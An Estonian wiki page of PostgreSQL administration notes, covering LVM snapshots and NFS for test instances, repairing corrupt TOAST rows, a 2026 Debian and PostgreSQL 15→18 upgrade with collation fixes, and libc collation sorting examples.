Kui selliselt moodustatud baasist (või mõnest osast, nt skeem, tabel) teha postgres või rakendusenimi_admin kasutajana dump, siis on seal automaatselt sees vajalikud alter ja grant laused. Kui mõnes teises PostgreSQL andmebaasiserveris on olemas kasutajad rakendusenimi_admin ja rakendusenimi_user, siis saab sinna mainitud dumpi laadida sisse postgres või rakendusenimi_admin kasutajana ning tekivad sobivate omanikega ja grantidega objektid.&lt;br /&gt;
&lt;br /&gt;
===LVM, NFS ja PostgreSQL kasutamine andmebaasi hooldustöös===&lt;br /&gt;
&lt;br /&gt;
Toetudes sellistele asjaoludele, saab kasutada kiireid ja mugavaid haldusprotseduure&lt;br /&gt;
&lt;br /&gt;
* Debiani ja Ubuntu paketihalduse PostgreSQL sisaldab võimalust hästi hõlpsasti käivatada ühes arvutis st operatsioonisüsteemis mitut andmebaasi eksemplari (st postgres protsesside komplekti)&lt;br /&gt;
* LVM plokkseadme haldusvahendid&lt;br /&gt;
* NFS serveri ja kliendi võimalused&lt;br /&gt;
&lt;br /&gt;
====LVM kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Käesolevas punktis juhitakse tähelepanu kuidas PostgreSQL töös kasutada ära LVM võimalusi. Põhiliselt seisneb see LVM snapshot kasutamisel. Eelduseks on , et operatsioonisüsteemis on LVM tugi olemas (reeglina on see nii paratamatult) ning seda kasutatakse andmebaasi failisüsteem all, nt nii&lt;br /&gt;
&lt;br /&gt;
 # df -h&lt;br /&gt;
 Filesystem                                           Size  Used Avail Use% Mounted on&lt;br /&gt;
 ..&lt;br /&gt;
 /dev/mapper/pgdata-data_postgresql                   158G  135G   16G  90% /var/lib/postgresql&lt;br /&gt;
 /dev/mapper/pgdata-data_backup                        36G   25G  9.2G  73% /data/backup&lt;br /&gt;
&lt;br /&gt;
LVM snapshot kasutamine annab võimaluse kasutada ajahetkel vastavat baasi seisu nö lühiajaliseks katseks (ajalise kestuse võimaluse määrab LVM snapshotile eraldatud mahu ressursi suurus; nb! kui näidatud maht saab täis jääb baas seisma ja enam andmetele vähemalt kergesti ligi ei pääse)&lt;br /&gt;
&lt;br /&gt;
* peatada baasi protsessid&lt;br /&gt;
* ühendada lahti /var/lib/postgresql failisüsteem&lt;br /&gt;
* tekitada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvcreate -L 40G -s -n data_postgresql_20150326_tootanud /dev/pgdata/data_postgresql&lt;br /&gt;
&lt;br /&gt;
* ühendada snapshot failisüsteem /var/lib/postgresql alla&lt;br /&gt;
&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
* käitada baasi protsessid&lt;br /&gt;
&lt;br /&gt;
Peale katse lõppu &lt;br /&gt;
&lt;br /&gt;
* peatada protsessid&lt;br /&gt;
* ühendada snapshoti failisüsteem lahti&lt;br /&gt;
* kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
 # lvremove /dev/pgdata/data_postgresql_20150326_tootanud&lt;br /&gt;
&lt;br /&gt;
* ühedada algne failisüsteem külge&lt;br /&gt;
* käivitada protsessid&lt;br /&gt;
&lt;br /&gt;
Lisaks on võimalus käivitada kaks PostgreSQL eksemplari paraleelselt, selleks tuleb tekida snapshot nagu kirjeldatud, käivitada tagasi originaal ning valmistada ette teise (st snapshotilt töötava) andmebaasi eksemplari seadistused&lt;br /&gt;
&lt;br /&gt;
 # cp -a /etc/postgresql/9.4/main /etc/postgresql/9.4/test&lt;br /&gt;
&lt;br /&gt;
ning kohendada postgresql.conf seadistusfailis parameetreid&lt;br /&gt;
&lt;br /&gt;
* data kataloog&lt;br /&gt;
* pid fail&lt;br /&gt;
* archive log välja lülitada&lt;br /&gt;
* logi kataloog&lt;br /&gt;
* port - nt 5433&lt;br /&gt;
* ressursikasutus üle vaadata (shared_buffers, max_connections)&lt;br /&gt;
&lt;br /&gt;
nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # diff /etc/postgresql/9.4/main/postgresql.conf /etc/postgresql/9.4/test/postgresql.conf&lt;br /&gt;
 &amp;lt; data_directory = '/var/lib/postgresql/9.4/main'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; data_directory = '/var/lib/postgresql/9.4/test'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; hba_file = '/etc/postgresql/9.4/main/pg_hba.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; hba_file = '/etc/postgresql/9.4/test/pg_hba.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
create database 'lc_collate' omab vaikimisi mõju kahes kohas&lt;br /&gt;
&lt;br /&gt;
* indeksi moodustamisel 'CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
* select päringu tegemisel 'SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* libc puhul saab teha tabeli tulbale indekseid erinevate collate'dega st erinevate keelte kohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
